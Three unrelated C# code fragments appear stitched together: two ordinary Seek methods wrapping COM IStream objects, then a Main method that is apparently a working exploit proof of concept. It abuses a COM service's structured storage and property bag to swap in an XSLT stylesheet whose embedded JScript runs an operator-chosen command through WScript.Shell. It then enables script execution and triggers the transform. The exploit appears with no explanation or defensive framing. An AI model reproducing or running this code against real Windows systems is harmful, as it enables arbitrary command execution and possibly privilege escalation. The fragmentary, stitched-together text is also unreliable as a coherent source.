/// <summary> /// Seeks to a position within the stream /// </summary> /// <param name="offset">offset to seek</param> /// <param name="origin">seek origin</param> /// <returns>Returns the new position</returns> public override long Seek(long offset, SeekOrigin origin) { if (fileStream == null) { throw new ObjectDisposedException("fileStream", "storage stream no longer available"); } long l = 0; object local = l; GCHandle gCHandle = new GCHandle(); try { gCHandle = GCHandle.Alloc(local, GCHandleType.Pinned); IntPtr i = gCHandle.AddrOfPinnedObject(); fileStream.Seek(offset, (int)origin, i); l = (long)local; } finally { if (gCHandle.IsAllocated) { gCHandle.Free(); } } return(l); }
public override long Seek(long offset, System.IO.SeekOrigin origin) { ReportDebugStream("StreamWrapper.Seek, offset={0}, origin={1}", offset, origin); int seekType; switch (origin) { case System.IO.SeekOrigin.Begin: seekType = STREAM_SEEK.SET; break; case System.IO.SeekOrigin.Current: seekType = STREAM_SEEK.CUR; break; case System.IO.SeekOrigin.End: seekType = STREAM_SEEK.END; break; default: seekType = STREAM_SEEK.SET; break; } _istream.Seek(offset, seekType, _int64Ptr); var result = Marshal.ReadInt64(_int64Ptr); ReportDebugStream("... result: {0}\r\n", result); return(result); }
static void Main(string[] args) { if (args.Length > 0) { RunComServer(); } else { dynamic obj = null; try { obj = Activator.CreateInstance(Type.GetTypeFromCLSID(typeof(COMService).GUID)); } catch (Exception) { Console.WriteLine("Couldn't create object, running as server instead"); RunComServer(); return; } try { IStorage stg = obj.GetStorage(); Console.WriteLine("Specify command line to start"); string cmdline = Console.ReadLine().Trim(); IStorage new_stg = stg.CreateStorage("TestStorage", 2 | 0x1000 | 0x10, 0, 0); Console.WriteLine("new_stg: {0}", new_stg); IPropertyBag bag = (IPropertyBag)new_stg; Console.WriteLine("Bag: {0}", bag); PROPVARIANT var = new PROPVARIANT(new FakeObject()); bag.Write("X", var); Console.WriteLine("Completed Write"); new_stg.Commit(0); Marshal.ReleaseComObject(bag); Marshal.ReleaseComObject(new_stg); new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0); bag = (IPropertyBag)new_stg; var = new PROPVARIANT(0); Console.WriteLine("Reading back steam"); bag.Read("X", var, IntPtr.Zero); System.Runtime.InteropServices.ComTypes.IStream stm = (System.Runtime.InteropServices.ComTypes.IStream)var.ToObject(); stm.Seek(16, 0, IntPtr.Zero); byte[] arr = Encoding.ASCII.GetBytes("<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='******'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('%CMDLINE%'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>".Replace("%CMDLINE%", cmdline)); stm.Write(arr, arr.Length, IntPtr.Zero); Console.WriteLine("Done Write"); Marshal.ReleaseComObject(stm); Marshal.ReleaseComObject(bag); Marshal.ReleaseComObject(new_stg); new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0); bag = (IPropertyBag)new_stg; var = new PROPVARIANT(); Console.WriteLine("Reading back steam"); bag.Read("X", var, IntPtr.Zero); dynamic doc = var.ToObject(); Console.WriteLine("Done Read {0}", doc); doc.setProperty("AllowXsltScript", true); doc.transformNode(doc); } catch (Exception ex) { Console.WriteLine("Error: {0}", ex.Message); } } }